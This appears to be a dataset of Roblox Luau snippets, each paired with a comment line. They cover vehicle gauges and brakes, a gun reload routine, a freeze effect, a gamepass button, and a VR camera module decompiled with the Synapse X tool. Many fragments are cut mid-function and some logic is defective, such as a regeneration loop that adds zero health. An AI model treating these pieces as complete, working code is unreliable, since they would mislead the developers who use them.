script.Parent.ABS.Visible = false
end
end
end)
script.Parent.Parent.Values.PBrake.Changed:connect(function()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end)
script.Parent.Parent.Values.TransmissionMode.Changed:connect(function()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
inspd.Rotation = -30 + (222 / 160) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))
end)
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
mouse.KeyDown:connect(function(key)
if key=="v" then
script.Parent.Visible=not script.Parent.Visible
end
end)
|
--freeze the character
|
DisableMove()
IceForm = Instance.new("Sound")
IceForm.Name = "IceForm"
IceForm.SoundId = "rbxassetid://"..formSounds[math.random(1,#formSounds)]
IceForm.Parent = Head
IceForm.PlaybackSpeed = 1
IceForm.Volume = 1.5
game.Debris:AddItem(IceForm, 10)
delay(0, function() IceForm:Play() end)
for i = 1, #charParts do
local newIcePart = icePart:Clone()
--newIcePart.IceMesh.Scale = newIcePart.IceMesh.Scale * charParts[i].Size
newIcePart.Size = Vector3.new(charParts[i].Size.x+.1, charParts[i].Size.y+.1, charParts[i].Size.z+.1)
newIcePart.CFrame = charParts[i].CFrame
newIcePart.Parent = character
local Weld = Instance.new("Weld")
Weld.Part0 = charParts[i]
Weld.Part1 = newIcePart
Weld.C0 = charParts[i].CFrame:inverse()
Weld.C1 = newIcePart.CFrame:inverse()
Weld.Parent = newIcePart
table.insert(iceParts, newIcePart)
end
for i = 1, #accessoryParts do
local newIcePart2 = accessoryParts[i]:Clone()
newIcePart2.Name = "IcePart"
newIcePart2.formFactor = "Custom"
newIcePart2.Color = Color3.fromRGB(128, 187, 219)
newIcePart2.CanCollide = false
newIcePart2.Anchored = false
newIcePart2.Transparency = .5
newIcePart2.BottomSurface = "Smooth"
newIcePart2.TopSurface = "Smooth"
newIcePart2.Material = Enum.Material.SmoothPlastic
local mesh = newIcePart2:FindFirstChildOfClass("SpecialMesh")
mesh.TextureId = ""
mesh.Scale = Vector3.new(mesh.Scale.x+.1, mesh.Scale.y+.1, mesh.Scale.z+.1)
newIcePart2.CFrame = accessoryParts[i].CFrame
newIcePart2.Parent = character
local Weld2 = Instance.new("Weld")
Weld2.Part0 = accessoryParts[i]
Weld2.Part1 = newIcePart2
Weld2.C0 = accessoryParts[i].CFrame:inverse()
Weld2.C1 = newIcePart2.CFrame:inverse()
Weld2.Parent = newIcePart2
table.insert(iceParts2, newIcePart2)
end
wait(script.Duration.Value)
|
-- Local variables
|
local TeamPlayers = {}
local TeamScores = {}
|
--Throttle:
-- local speed = 0
-- if seat.ThrottleFloat > 0 then
-- speed = maxSpeed*seat.ThrottleFloat --forwards
-- elseif seat.ThrottleFloat < 0 then
-- speed = seat.ThrottleFloat * 15 --reverse
-- end
-- setHinges(speed, speed)
-- if seat.ThrottleFloat < 0 and seat.Velocity.Magnitude > 20 and script.Parent.Velocity:Dot(script.Parent.CFrame.lookVector) > 0 then
-- Brake()
-- end
|
end)
|
--------------------[ RELOAD FUNCTIONS ]----------------------------------------------
|
function animateReload()
tweenJoint(LWeld2, CF(), CF(), Sine, 0.15)
tweenJoint(RWeld2, CF(), CF(), Sine, 0.15)
local magParts = {}
local magTable = {}
for _, Obj in pairs(Gun:GetChildren()) do
if string.sub(Obj.Name, 1, 3) == "Mag" and Obj:IsA("BasePart") then
INSERT(magParts, Obj)
end
end
local animVars = {
--FUNCTIONS--
tweenJoint = tweenJoint;
makeMagInvisible = function()
for _, v in pairs(magParts) do
v.Transparency = 1
end
magVisible = false
end;
makeMagVisible = function()
for _, v in pairs(magParts) do
v.Transparency = v:WaitForChild("magTrans").Value
end
magVisible = true
end;
isMagVisible = function()
return magVisible
end;
isMagEmpty = function()
return ammoInClip == 0
end;
setNewMag = function()
newMag = true
end;
isNewMag = function()
return newMag
end;
createMag = function(Key)
local magModel = Instance.new("Model")
local magClones = {}
for i, v in pairs(magParts) do
local vClone = v:Clone()
vClone.Transparency = v:WaitForChild("magTrans").Value
vClone.CanCollide = false
vClone.Parent = magModel
INSERT(magClones, {Original = v, magClone = vClone})
if i ~= 1 then
local W = Instance.new("Weld")
W.Part0 = magClones[1].magClone
W.Part1 = vClone
W.C0 = magClones[1].magClone.CFrame:toObjectSpace(vClone.CFrame)
W.Parent = magClones[1].magClone
end
end
magTable[Key] = {magModel, magClones}
return magModel, magClones
end;
getMag = function(Key)
if magTable[Key] then
return magTable[Key][1], magTable[Key][2]
else
return nil, nil
end
end;
attachGripToHead = function()
local handleCF = RArm.CFrame * Grip.C0
Grip.C0 = Head.CFrame:toObjectSpace(handleCF)
Grip.Part0 = Head
end;
attachGripToArm = function()
local handleCF = Head.CFrame * Grip.C0
Grip.C0 = RArm.CFrame:toObjectSpace(handleCF)
Grip.Part0 = RArm
end;
Sine = Sine;
Linear = Linear;
--VARIABLES--
Handle = Handle;
LArm = LArm;
RArm = RArm;
LWeld = LWeld;
RWeld = RWeld;
LC0 = armC0[1];
RC0 = armC0[2];
Grip = Grip;
gunIgnore = gunIgnore;
Cam = Cam;
CF = CF;
CFANG = CFANG;
V3 = V3;
RAD = RAD;
reloadTimeLoaded = S.reloadSettings.Times.Loaded;
reloadTimeEmpty = S.reloadSettings.Times.Empty
}
local sequenceTable = Anims.Reload(animVars)
--local T = tick()
for _, reloadFunction in pairs(sequenceTable) do
if breakReload then
break
end
reloadFunction()
if (not magVisible) then
Ammo.Value = 0
end
updateClipAmmo()
end
--print(tick() - T) --I divide the reloadTime by this number to get the animation speed
if (not isCrawling) then
if Running and (not S.canFireWhileRunning) then
tweenJoint(LWeld, armC0[1], S.runningC1.leftArm, Sine, 0.4)
tweenJoint(RWeld, armC0[2], S.runningC1.rightArm, Sine, 0.4)
tweenJoint(Grip, nil, S.runningC1.Grip, Sine, 0.4)
else
tweenJoint(LWeld, armC0[1], S.unAimedC1.leftArm, Sine, 0.4)
tweenJoint(RWeld, armC0[2], S.unAimedC1.rightArm, Sine, 0.4)
tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, 0.4)
end
end
for _, v in pairs(magTable) do --In case the reload animations was stopped mid way and there were still fake mags that weren't deleted
v[1]:Destroy()
end
end
function Reload()
if Ammo.Value < (ClipSize.Value + 1) and (not Reloading) and StoredAmmo.Value > 0 then
Firing = false
ammoInClip = (ammoInClip == 0 and Ammo.Value or ammoInClip)
Reloading = true
lowerSpread()
if Aimed then unAimGun(S.reloadSettings.Anim) end
crossHair.Reload.Visible = true
if Handle:FindFirstChild("ReloadSound") then Handle.ReloadSound:Play() end
if S.reloadSettings.Anim then
wait()
animateReload()
else
local startReload = tick()
local initialReloadTime = Ammo.Value == 0 and S.reloadSettings.Times.Empty or S.reloadSettings.Times.Loaded
while true do
if breakReload then break end
if (tick() - startReload) >= initialReloadTime then break end
RS.RenderStepped:wait()
end
end
if (not breakReload) then
newMag = false
if StoredAmmo.Value >= ClipSize.Value then
if ammoInClip > 0 then
StoredAmmo.Value = StoredAmmo.Value - ((ClipSize.Value + 1) - ammoInClip)
Ammo.Value = ClipSize.Value + 1
else
StoredAmmo.Value = StoredAmmo.Value - ClipSize.Value
Ammo.Value = ClipSize.Value
end
elseif StoredAmmo.Value < ClipSize.Value and StoredAmmo.Value > 0 then
Ammo.Value = StoredAmmo.Value
StoredAmmo.Value = 0
end
end
Reloading = false
if Selected then
ammoInClip = (breakReload and ammoInClip or 0)
crossHair.Reload.Visible = false
end
breakReload = false
end
updateClipAmmo()
updateStoredAmmo()
end
|
--print(TCount)
|
if script.Parent.Storage.Control.Value ~= "Controller" then
if carSeat.Throttle == -1 then
if TCount >= 1 then
TCount = 1
else
if TCount < 0.25 then
TCount = 0.25
else
TCount = TCount + 0.04
end
end
else if TCount <= 0 then TCount = 0 else TCount = TCount - 0.1 end
end
brake.Value = TCount
end
if carSeat.Storage.Handbrake.Computer.Value == true or carSeat.Storage.Handbrake.User.Value == true then
carSeat.Storage.Handbrake.Value = true
else
carSeat.Storage.Handbrake.Value = false
end
if script.Parent.Storage.Brake.Value ~= 0 then
FLBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0)
FLBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0)
FRBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0)
FRBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0)
FLDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0)
FRDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0)
else
FLBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0)
FLBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0)
FRBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0)
FRBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0)
FLDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0)
FRDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0)
end
if carSeat.Storage.Handbrake.Value == true then
RLBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0)
RLBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0)
RRBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0)
RRBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0)
RLDISK.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0)
RRDISK.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0)
else
if script.Parent.Storage.Brake.Value ~= 0 then
RLBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0)
RLBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0)
RRBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0)
RRBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0)
RLDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0)
RRDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0)
else
RLBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0)
RLBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0)
RRBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0)
RRBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0)
RLDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0)
RRDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0)
end
end
if script.Parent.Storage.Brake.Value ~= 0 and carSeat.Storage.ABS.Value == false then
FLBRAKE.CanCollide = true
FLBRAKEU.CanCollide = true
FRBRAKE.CanCollide = true
FRBRAKEU.CanCollide = true
RLBRAKE.CanCollide = true
RLBRAKEU.CanCollide = true
RRBRAKE.CanCollide = true
RRBRAKEU.CanCollide = true
script.FL.Disabled = true
script.FR.Disabled = true
script.RL.Disabled = true
script.RR.Disabled = true
else
script.FL.Disabled = false
script.FR.Disabled = false
script.RL.Disabled = false
script.RR.Disabled = false
if script.Parent.Storage.Brake.Value == 0 and carSeat.Storage.Handbrake.Value == false and script.FL.Toggle == false and script.FR.Toggle == false and script.RL.Toggle == false and script.RR.Toggle == false then
FLBRAKE.CanCollide = false
FLBRAKEU.CanCollide = false
FRBRAKE.CanCollide = false
FRBRAKEU.CanCollide = false
RLBRAKE.CanCollide = false
RLBRAKEU.CanCollide = false
RRBRAKE.CanCollide = false
RRBRAKEU.CanCollide = false
elseif script.Parent.Storage.Brake.Value ~= 0 and speed < 15 then
FLBRAKE.CanCollide = true
FLBRAKEU.CanCollide = true
FRBRAKE.CanCollide = true
FRBRAKEU.CanCollide = true
RLBRAKE.CanCollide = true
RLBRAKEU.CanCollide = true
RRBRAKE.CanCollide = true
RRBRAKEU.CanCollide = true
elseif script.Parent.Storage.Brake.Value == 0 and carSeat.Storage.Handbrake.Value == false then
FLBRAKE.CanCollide = false
FLBRAKEU.CanCollide = false
FRBRAKE.CanCollide = false
FRBRAKEU.CanCollide = false
RLBRAKE.CanCollide = false
RLBRAKEU.CanCollide = false
RRBRAKE.CanCollide = false
RRBRAKEU.CanCollide = false
end
end
end
|
--[[Transmission]]
|
Tune.TransModes = {"Auto","Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "RPM" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 1.6 -- [TRANSMISSION CALCULATIONS FOR NERDS]
Tune.Ratios = { -- SPEED [SPS] = (Wheel diameter(studs) * pi(3.14) * RPM) / (60 * Gear Ratio * Final Drive * Multiplier)
--[[Reverse]] 3.40 ,-- WHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier
--[[Neutral]] 0 ,
--[[ 1 ]] 3.77 ,
--[[ 2 ]] 2.34 ,
--[[ 3 ]] 1.52 ,
--[[ 4 ]] 1.14 ,
--[[ 5 ]] 0.86 ,
--[[ 6 ]] 0.69 ,
}
Tune.FDMult = 5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- NOTE: TEXTBOUNDS.X CANNOT BE MORE THAN TEXTLABEL.ABSOLUTESIZE.X OR YOU WILL GET UNDESIRABLE BEHAVIOR
|
local root = script.Parent
local surfaces = {
'Front',
'Left',
'Back',
'Right'
}
local speed = 3 -- how many seconds it should take to travel across one surface
local size = 2 -- the number of textlabels to move before and after the current one
function GetPreceedingLabels(index)
local labels = {}
for i=1,size do
local this = index-i
table.insert(labels,
root:FindFirstChild(surfaces[this] or surfaces[#surfaces+this], true).Frame.TextLabel
)
end
return labels
end
function GetSucceedingLabels(index)
local labels = {}
for i=1,size do
local this = index+i
|
-- if _TMode == "Auto" and _CGear==-1 then brake = _GBrake end
|
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
if tqABS < 1 then
_ABSActive = true
end
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
script.Parent.Values.RPM.Changed:connect(function()
if car.DriveSeat.Mode.Value == "Eco" then
if _RPM > 260 then
car.DriveSeat.Tic.Value = true
else
car.DriveSeat.Tic.Value = false
end
end
end)
car.DriveSeat.Tic.Changed:connect(function()
if car.DriveSeat.Tic.Value == true and car.DriveSeat.Mode.Value == "Eco" then
car.DriveSeat.EcoStart:Play()
end
end)
|
----- TOOL DATA -----
-- How much damage a bullet does
|
local Damage = 18
|
----------SCRIPTED BY ZEDARKALIEN----------
|
local button = script.Parent
local player = game.Players.LocalPlayer
local gamePassId = script.Parent.GamepassId
button.MouseButton1Click:connect(function()
if player then
game:GetService("MarketplaceService"):PromptGamePassPurchase(player, gamePassId.Value)
end
end)
|
--// F key, Horn
|
mouse.KeyUp:connect(function(key)
if key=="f" then
veh.Lightbar.middle.Airhorn:Stop()
veh.Lightbar.middle.Wail.Volume = 1
veh.Lightbar.middle.Yelp.Volume = 1
veh.Lightbar.middle.Priority.Volume = 1
end
end)
|
-- connect events
|
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
|
--// # key, ally
|
mouse.KeyDown:connect(function(key)
if key=="." then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.Remotes.AllyEvent:FireServer(true)
end
end)
|
--!nonstrict
-- Roblox character sound script
|
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local AtomicBinding = require(script:WaitForChild("AtomicBinding"))
local function loadFlag(flag: string)
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled(flag)
end)
return success and result
end
local SOUND_DATA : { [string]: {[string]: any}} = {
Climbing = {
SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
Looped = true,
},
Died = {
SoundId = "rbxassetid://1237557124",
},
FreeFalling = {
SoundId = "rbxasset://sounds/action_falling.mp3",
Looped = true,
},
GettingUp = {
SoundId = "rbxasset://sounds/action_get_up.mp3",
},
Jumping = {
SoundId = "rbxasset://sounds/action_jump.mp3",
},
Landing = {
SoundId = "rbxasset://sounds/action_jump_land.mp3",
},
Running = {
SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
Looped = true,
Pitch = 1.85,
},
Splash = {
SoundId = "rbxasset://sounds/impact_water.mp3",
},
Swimming = {
SoundId = "rbxasset://sounds/action_swim.mp3",
Looped = true,
Pitch = 1.6,
},
}
|
-- Service elements
|
local ValueRemote = ReplicatedStorage:WaitForChild("Value")
local Player = Players.LocalPlayer
local leaderstats = Player:WaitForChild("leaderstats")
local Stage = leaderstats:WaitForChild("Stage")
local MaxLevel = Player:WaitForChild("MaxLevel")
|
--// if a player focuses on a textbox like chat, dont switch players while typing //--
|
UIS.TextBoxFocused:connect(function()
focusedOnText = true
end)
|
-- Handle command invocations from the clients.
|
Cmdr.RemoteFunction.OnServerInvoke = function (player, text, options)
if #text > 1_000 then
return "Input too long"
end
return Cmdr.Dispatcher:EvaluateAndRun(text, player, options)
end
return Cmdr
|
--[=[
Sets the top-level value of all clients to the same value.
:::note Override Per-Player Data
This will override any per-player data that was set using
`SetFor` or `SetFilter`. To avoid overriding this data,
`SetTop` can be used instead.
:::
```lua
-- Examples
remoteProperty:Set(10)
remoteProperty:Set({SomeData = 32})
remoteProperty:Set("HelloWorld")
```
]=]
|
function RemoteProperty:Set(value: any)
self._value = value
table.clear(self._perPlayer)
self._rs:FireAll(value)
end
|
-------------------------
|
function onClicked()
R.BrickColor = BrickColor.new("Really red")
C.One.BrickColor = BrickColor.new("Really black")
C.Two.BrickColor = BrickColor.new("Really black")
C.Three.BrickColor = BrickColor.new("Really black")
C.Four.BrickColor = BrickColor.new("Really black")
C.MIC.BrickColor = BrickColor.new("Really black")
C.B.BrickColor = BrickColor.new("Really black")
C.M.BrickColor = BrickColor.new("Really black")
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
---S-T-U-F-F--S-O-U-P---
|
TN = {"Target","Body","Wheels"}
TARGET = nil
Lplayer = game.Players.LocalPlayer
Cam = script.Parent.BodyValue.Value.campart
activekey = false
db = false
pathtoremote = script.Parent.BodyValue.Value.CameraParts
workspace.CurrentCamera.CameraType = "Custom"
workspace.CurrentCamera.CameraSubject = Cam
workspace.CurrentCamera.FieldOfView = 120
game.Players.LocalPlayer.CameraMaxZoomDistance = 1
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson
mouse = game.Players.LocalPlayer:GetMouse()
mouse.Icon = "http://www.roblox.com/asset/?id=18662154"
mouse.TargetFilter = Cam.Parent.Parent
prnt = game.Players.LocalPlayer.PlayerGui.TargetScreen
runservice = game:GetService("RunService")
|
--[[ Local Functions ]]
|
--
local function createArrowLabel(name, parent, position, size, rectOffset, rectSize)
local image = Instance.new('ImageLabel')
image.Name = name
image.Image = DPAD_SHEET
image.ImageRectOffset = rectOffset
image.ImageRectSize = rectSize
image.BackgroundTransparency = 1
image.ImageColor3 = Color3.new(190/255, 190/255, 190/255)
image.Size = size
image.Position = position
image.Parent = parent
return image
end
|
--[=[
@within RemoteSignal
@interface Connection
.Disconnect () -> nil
]=]
|
function RemoteSignal.new(parent: Instance, name: string, inboundMiddleware: Types.ServerMiddleware?, outboundMiddleware: Types.ServerMiddleware?)
local self = setmetatable({}, RemoteSignal)
self._re = Instance.new("RemoteEvent")
self._re.Name = name
self._re.Parent = parent
if outboundMiddleware and #outboundMiddleware > 0 then
self._hasOutbound = true
self._outbound = outboundMiddleware
else
self._hasOutbound = false
end
if inboundMiddleware and #inboundMiddleware > 0 then
self._directConnect = false
self._signal = Signal.new()
self._re.OnServerEvent:Connect(function(player, ...)
local args = table.pack(...)
for _,middlewareFunc in ipairs(inboundMiddleware) do
local middlewareResult = table.pack(middlewareFunc(player, args))
if not middlewareResult[1] then
return
end
args.n = #args
end
self._signal:Fire(player, table.unpack(args, 1, args.n))
end)
else
self._directConnect = true
end
return self
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__Players__1 = game:GetService("Players");
local l__VRService__2 = game:GetService("VRService");
local l__UserGameSettings__3 = UserSettings():GetService("UserGameSettings");
local v4 = require(script.Parent:WaitForChild("CameraInput"));
local v5 = require(script.Parent:WaitForChild("CameraUtils"));
local v6 = require(script.Parent:WaitForChild("VRBaseCamera"));
local v7 = setmetatable({}, v6);
v7.__index = v7;
local v8, v9 = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserFlagEnableVRUpdate3");
end);
function v7.new()
local v10 = setmetatable(v6.new(), v7);
v10.lastUpdate = tick();
v10:Reset();
return v10;
end;
function v7.Reset(p1)
p1.needsReset = true;
p1.needsBlackout = true;
p1.motionDetTime = 0;
p1.blackOutTimer = 0;
p1.lastCameraResetPosition = nil;
p1.stepRotateTimeout = 0;
p1.cameraOffsetRotation = 0;
p1.cameraOffsetRotationDiscrete = 0;
end;
function v7.Update(p2, p3)
local l__CurrentCamera__11 = workspace.CurrentCamera;
local v12 = l__CurrentCamera__11.CFrame;
local v13 = l__CurrentCamera__11.Focus;
local l__LocalPlayer__14 = l__Players__1.LocalPlayer;
local v15 = p2:GetHumanoid();
local l__CameraSubject__16 = l__CurrentCamera__11.CameraSubject;
if p2.lastUpdate == nil or p3 > 1 then
p2.lastCameraTransform = nil;
end;
p2:StepZoom();
p2:UpdateFadeFromBlack(p3);
p2:UpdateEdgeBlur(l__LocalPlayer__14, p3);
local l__lastSubjectPosition__17 = p2.lastSubjectPosition;
local v18 = p2:GetSubjectPosition();
if p2.needsBlackout then
p2:StartFadeFromBlack();
p2.blackOutTimer = p2.blackOutTimer + math.clamp(p3, 0.0001, 0.1);
if p2.blackOutTimer > 0.1 and game:IsLoaded() then
p2.needsBlackout = false;
p2.needsReset = true;
end;
end;
if v18 and l__LocalPlayer__14 and l__CurrentCamera__11 then
local v19 = nil;
v19 = p2:GetVRFocus(v18, p3);
if p2:IsInFirstPerson() then
local v20, v21 = p2:UpdateFirstPersonTransform(p3, v12, v19, l__lastSubjectPosition__17, v18);
v12 = v20;
v13 = v21;
else
local v22, v23 = p2:UpdateThirdPersonTransform(p3, v12, v19, l__lastSubjectPosition__17, v18);
v12 = v22;
v13 = v23;
end;
p2.lastCameraTransform = v12;
p2.lastCameraFocus = v13;
end;
p2.lastUpdate = tick();
return v12, v13;
end;
local u1 = v8 or v9;
function v7.UpdateFirstPersonTransform(p4, p5, p6, p7, p8, p9)
if p4.needsReset then
p4:StartFadeFromBlack();
p4.needsReset = false;
p4.stepRotateTimeout = 0.25;
p4.VRCameraFocusFrozen = true;
p4.cameraOffsetRotation = 0;
p4.cameraOffsetRotationDiscrete = 0;
end;
if (p8 - p9).magnitude > 0.01 then
p4:StartVREdgeBlur(l__Players__1.LocalPlayer);
end;
local l__p__24 = p7.p;
local v25 = p4:GetCameraLookVector();
if p4.stepRotateTimeout > 0 then
p4.stepRotateTimeout = p4.stepRotateTimeout - p5;
end;
local v26 = v4.getRotation();
local v27 = 0;
if u1 and l__UserGameSettings__3.VRSmoothRotationEnabled then
v27 = v26.X;
elseif p4.stepRotateTimeout <= 0 and math.abs(v26.X) > 0.03 then
v27 = 0.5;
if v26.X < 0 then
v27 = -0.5;
end;
p4.needsReset = true;
end;
p6 = CFrame.new(l__p__24 - 0.5 * p4:CalculateNewLookVectorFromArg(Vector3.new(v25.X, 0, v25.Z).Unit, Vector2.new(v27, 0)), l__p__24);
return p6, p7;
end;
function v7.UpdateThirdPersonTransform(p10, p11, p12, p13, p14, p15)
local v28 = p10:GetCameraToSubjectDistance();
if v28 < 0.5 then
v28 = 0.5;
end;
if p14 ~= nil and p10.lastCameraFocus ~= nil then
local v29 = require(l__Players__1.LocalPlayer:WaitForChild("PlayerScripts").PlayerModule:WaitForChild("ControlModule")):GetMoveVector();
local v30 = true;
if not ((p14 - p15).magnitude > 0.01) then
v30 = v29.magnitude > 0.01;
end;
if v30 then
p10.motionDetTime = 0.1;
end;
p10.motionDetTime = p10.motionDetTime - p11;
if p10.motionDetTime > 0 then
v30 = true;
end;
if v30 and not p10.needsReset then
p13 = p10.lastCameraFocus;
p10.VRCameraFocusFrozen = true;
return p12, p13;
end;
local v31 = true;
if p10.lastCameraResetPosition ~= nil then
v31 = (p15 - p10.lastCameraResetPosition).Magnitude > 1;
end;
local v32 = v4.getRotation();
local v33 = u1 and v32 ~= Vector2.new();
local v34 = false;
if v33 and v32.X ~= 0 then
local v35 = p10.cameraOffsetRotation + v32.X;
if v35 < -math.pi then
v35 = math.pi - (v35 + math.pi);
elseif math.pi < v35 then
v35 = -math.pi + (v35 - math.pi);
end;
p10.cameraOffsetRotation = math.clamp(v35, -math.pi, math.pi);
if l__UserGameSettings__3.VRSmoothRotationEnabled then
p10.cameraOffsetRotationDiscrete = p10.cameraOffsetRotation;
local v36 = p10:GetHumanoid();
local v37 = v36.Torso and v36.Torso.CFrame.lookVector or Vector3.new(1, 0, 0);
local v38 = p13.Position - Vector3.new(v37.X, 0, v37.Z) * v28;
local v39 = Vector3.new(p13.Position.X, v38.Y, p13.Position.Z);
p12 = CFrame.new(v39 - (CFrame.new(v38, v39) * CFrame.fromAxisAngle(Vector3.new(0, 1, 0), p10.cameraOffsetRotationDiscrete)).LookVector * (v39 - v38).Magnitude, v39);
else
local v40 = math.floor(p10.cameraOffsetRotation * 12 / 12);
if v40 ~= p10.cameraOffsetRotationDiscrete then
p10.cameraOffsetRotationDiscrete = v40;
v34 = true;
end;
end;
end;
if not (not p10.VRCameraFocusFrozen) and not (not v31) or not (not p10.needsReset) or v34 then
if not v34 then
p10.cameraOffsetRotationDiscrete = 0;
p10.cameraOffsetRotation = 0;
end;
l__VRService__2:RecenterUserHeadCFrame();
p10.VRCameraFocusFrozen = false;
p10.needsReset = false;
p10.lastCameraResetPosition = p15;
p10:ResetZoom();
p10:StartFadeFromBlack();
local v41 = p10:GetHumanoid();
local v42 = v41.Torso and v41.Torso.CFrame.lookVector or Vector3.new(1, 0, 0);
local v43 = p13.Position - Vector3.new(v42.X, 0, v42.Z) * v28;
local v44 = Vector3.new(p13.Position.X, v43.Y, p13.Position.Z);
if u1 and p10.cameraOffsetRotation ~= 0 then
v43 = v44 - (CFrame.new(v43, v44) * CFrame.fromAxisAngle(Vector3.new(0, 1, 0), p10.cameraOffsetRotationDiscrete)).LookVector * (v44 - v43).Magnitude;
end;
p12 = CFrame.new(v43, v44);
end;
end;
return p12, p13;
end;
function v7.EnterFirstPerson(p16)
p16.inFirstPerson = true;
p16:UpdateMouseBehavior();
end;
function v7.LeaveFirstPerson(p17)
p17.inFirstPerson = false;
p17.needsReset = true;
p17:UpdateMouseBehavior();
if p17.VRBlur then
p17.VRBlur.Visible = false;
end;
end;
return v7;
|
-- regeneration
|
while true do
local s = wait(4)
local health = Humanoid.Health
if health > 0 and health < Humanoid.MaxHealth then
health = health + 0.00 * s * Humanoid.MaxHealth
if health * 1.05 < Humanoid.MaxHealth then
Humanoid.Health = health
else
Humanoid.Health = Humanoid.MaxHealth
end
end
end
|
